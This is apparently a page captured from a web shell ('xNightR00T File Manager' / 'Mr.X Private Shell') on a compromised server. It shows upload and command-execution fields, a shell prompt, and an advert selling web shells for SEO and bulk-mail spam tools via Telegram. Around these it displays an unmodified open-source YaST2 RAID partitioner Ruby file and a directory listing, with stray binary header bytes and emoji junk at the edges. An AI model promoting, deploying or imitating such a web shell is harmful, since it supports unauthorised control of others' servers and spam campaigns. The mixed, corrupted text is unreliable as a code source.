xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# Copyright (c) 2012 Novell, Inc.
#
# All Rights Reserved.
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of version 2 of the GNU General Public License as published
# by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for
# more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail, you may
# find current contact information at www.novell.com.

# File:        ep-main.ycp
# Package:     yast2-storage
# Summary:     Expert Partitioner
# Authors:     Arvin Schnell <aschnell@suse.de>
module Yast
  module PartitioningEpRaidLibInclude
    def initialize_partitioning_ep_raid_lib(include_target)
      textdomain "storage"
    end

    def AddDevices(raid_dev, devs)
      devs = deep_copy(devs)
      ret = true

      Builtins.foreach(devs) do |dev|
        Storage.SetPartitionId(dev, Partitions.fsid_raid)
        Storage.SetPartitionFormat(dev, false, :none)
      end
      ret = false if !Storage.ExtendMd(raid_dev, devs)

      ret
    end


    def RemoveDevices(raid_dev, devs)
      devs = deep_copy(devs)
      ret = true

      Builtins.foreach(devs) do |dev|
        Storage.UnchangePartitionId(dev)
        ret = false if !Storage.ShrinkMd(raid_dev, [dev])
      end

      ret
    end

    def ReplaceDevices(raid_dev, devs)
      devs = deep_copy(devs)
      ret = true

      Builtins.foreach(devs) do |dev|
        Storage.SetPartitionId(dev, Partitions.fsid_raid)
        Storage.SetPartitionFormat(dev, false, :none)
      end
      ret = false if !Storage.ReplaceMd(raid_dev, devs)

      ret
    end

    def CanModifyRaid(data)
      data = deep_copy(data)
      ret = true
      if Ops.get_boolean(data, "raid_inactive", false)
        txt = Builtins.sformat(
          _(
            "\n" +
              "Raid %1 cannot be modified because it is in inactive state.\n" +
              "This normally means the subset of raid devices is too small\n" +
              "for the raid to be usable.\n"
          ),
          Ops.get_string(data, "device", "")
        )
        Popup.Error(txt)
        ret = false
      end
      ret
    end

    def EpCreateRaid
      target_map = Storage.GetTargetMap
      unused_devices = Builtins.filter(get_possible_rds(target_map)) do |dev|
        !Storage.IsUsedBy(dev)
      end

      if Ops.less_than(Builtins.size(unused_devices), 2)
        # error popup
        Popup.Error(
          _("There are not enough suitable unused devices to create a RAID.")
        )
        return
      end

      data = { "new" => true, "type" => :sw_raid, "create" => true }

      r = Storage.NextMd
      Ops.set(data, "device", Ops.get_string(r, "device", ""))
      Ops.set(data, "nr", Ops.get_integer(r, "nr", 0))

      if (
          data_ref = arg_ref(data);
          _DlgCreateRaidNew_result = DlgCreateRaidNew(data_ref);
          data = data_ref.value;
          _DlgCreateRaidNew_result
        )
        dev = data.fetch("device","")
        raid_type = Builtins.tosymbol(data.fetch("raid_type","raid0"))

        if Storage.CreateMdWithDevs(dev, raid_type, [])
          devices = Ops.get_list(data, "devices", [])
          AddDevices(dev, devices)

          chunk_size_k = Ops.get_integer(data, "chunk_size_k", 4)
          Storage.ChangeMdChunk(dev, chunk_size_k)

          if Builtins.haskey(data, "parity_algorithm")
            parity_algorithm = Ops.get_symbol(
              data,
              "parity_algorithm",
              :par_default
            )
	    if( parity_algorithm!=:par_default )
	      Storage.ChangeMdParitySymbol(dev, parity_algorithm)
	    end
          end

          ep_update_volume(data)

          UpdateMainStatus()
          UpdateNavigationTree(nil)
          TreePanel.Create
          UpdateTableFocus(Ops.get_string(data, "device", "error"))
        end
      end

      nil
    end


    def EpEditRaid(device)
      if device == nil
        # error popup
        Popup.Error(_("No RAID selected."))
        return
      end

      target_map = Storage.GetTargetMap
      data = Storage.GetPartition(target_map, device)

      return if !CanModifyRaid(data)

      if Storage.IsUsedBy(data)
        # error popup, %1 is replaced by device name e.g. /dev/md1
        Popup.Error(
          Builtins.sformat(
            _(
              "The RAID %1 is in use. It cannot be\nedited. To edit %1, make sure it is not used."
            ),
            device
          )
        )
        return
      end

      if (
          data_ref = arg_ref(data);
          _DlgEditRaid_result = DlgEditRaid(data_ref);
          data = data_ref.value;
          _DlgEditRaid_result
        )
        ep_update_volume(data)

        UpdateMainStatus()
        UpdateNavigationTree(nil)
        TreePanel.Create
        UpdateTableFocus(device)
      end

      nil
    end


    def EpResizeRaid(device)
      if device == nil
        # error popup
        Popup.Error(_("No RAID selected."))
        return
      end

      target_map = Storage.GetTargetMap
      data = Storage.GetPartition(target_map, device)

      return if !CanModifyRaid(data)

      if !Ops.get_boolean(data, "create", false)
        # error popup, %1 is replaced by device name e.g. /dev/md1
        Popup.Error(
          Builtins.sformat(
            _(
              "The RAID %1 is already created on disk. It cannot be\nresized. To resize %1, remove it and create it again."
            ),
            device
          )
        )
        return
      end

      if Storage.IsUsedBy(data)
        # error popup, %1 is replaced by device name e.g. /dev/md1
        Popup.Error(
          Builtins.sformat(
            _(
              "The RAID %1 is in use. It cannot be\nresized. To resize %1, make sure it is not used."
            ),
            device
          )
        )
        return
      end

      if (
          data_ref = arg_ref(data);
          _DlgResizeRaid_result = DlgResizeRaid(data_ref);
          data = data_ref.value;
          _DlgResizeRaid_result
        )
        dev = data.fetch("device","")
        devices_new = Ops.get_list(data, "devices_new", [])
        Builtins.y2milestone("devices_new:%1", devices_new)
        if Ops.greater_than(Builtins.size(devices_new), 0)
          ReplaceDevices(dev, devices_new)
          UpdateMainStatus()
          UpdateNavigationTree(nil)
          TreePanel.Create
        end
      end

      nil
    end


    def EpDeleteRaid(device)
      if device == nil
        # error popup
        Popup.Error(_("No RAID selected."))
        return
      end

      if ep_delete_device(device)
        new_focus = nil
        new_focus = :md if UI.QueryWidget(:tree, :CurrentItem) == device

        UpdateMainStatus()
        UpdateNavigationTree(new_focus)
        TreePanel.Create
      end

      nil
    end
  end
end

Filemanager

Name Type Size Permission Actions
auto_part_create.rb File 7.21 KB 0644
auto_part_functions.rb File 11.8 KB 0644
auto_part_prepare.rb File 7.99 KB 0644
auto_part_ui.rb File 11.06 KB 0644
custom_part_check_generated.rb File 34.52 KB 0644
custom_part_dialogs.rb File 53.69 KB 0644
custom_part_helptexts.rb File 5.85 KB 0644
custom_part_lib.rb File 36.74 KB 0644
ep-all.rb File 9.28 KB 0644
ep-btrfs-dialogs.rb File 8.93 KB 0644
ep-btrfs-lib.rb File 5.17 KB 0644
ep-btrfs.rb File 9.27 KB 0644
ep-dialogs.rb File 42.13 KB 0644
ep-dm-dialogs.rb File 2.11 KB 0644
ep-dm-lib.rb File 1.92 KB 0644
ep-dm.rb File 7.14 KB 0644
ep-graph.rb File 5.88 KB 0644
ep-hd-dialogs.rb File 20.63 KB 0644
ep-hd-lib.rb File 21.3 KB 0644
ep-hd.rb File 18.48 KB 0644
ep-import.rb File 17.38 KB 0644
ep-lib.rb File 17.89 KB 0644
ep-loop-dialogs.rb File 9.77 KB 0644
ep-loop-lib.rb File 2.99 KB 0644
ep-loop.rb File 5.09 KB 0644
ep-lvm-dialogs.rb File 30.73 KB 0644
ep-lvm-lib.rb File 11.08 KB 0644
ep-lvm.rb File 13.3 KB 0644
ep-main.rb File 20.62 KB 0644
ep-nfs.rb File 8.62 KB 0644
ep-raid-dialogs.rb File 20.49 KB 0644
ep-raid-lib.rb File 7.02 KB 0644
ep-raid.rb File 8.04 KB 0644
ep-settings.rb File 9.22 KB 0644
ep-summary.rb File 1.58 KB 0644
ep-tmpfs-dialogs.rb File 1.72 KB 0644
ep-tmpfs-lib.rb File 2.58 KB 0644
ep-tmpfs.rb File 6.72 KB 0644
ep-unused.rb File 3.98 KB 0644
lvm_lib.rb File 1.54 KB 0644
lvm_lv_lib.rb File 3.22 KB 0644
lvm_pv_lib.rb File 6.83 KB 0644
lvm_ui_dialogs.rb File 2.59 KB 0644
partition_defines.rb File 3.41 KB 0644
raid_lib.rb File 3.42 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1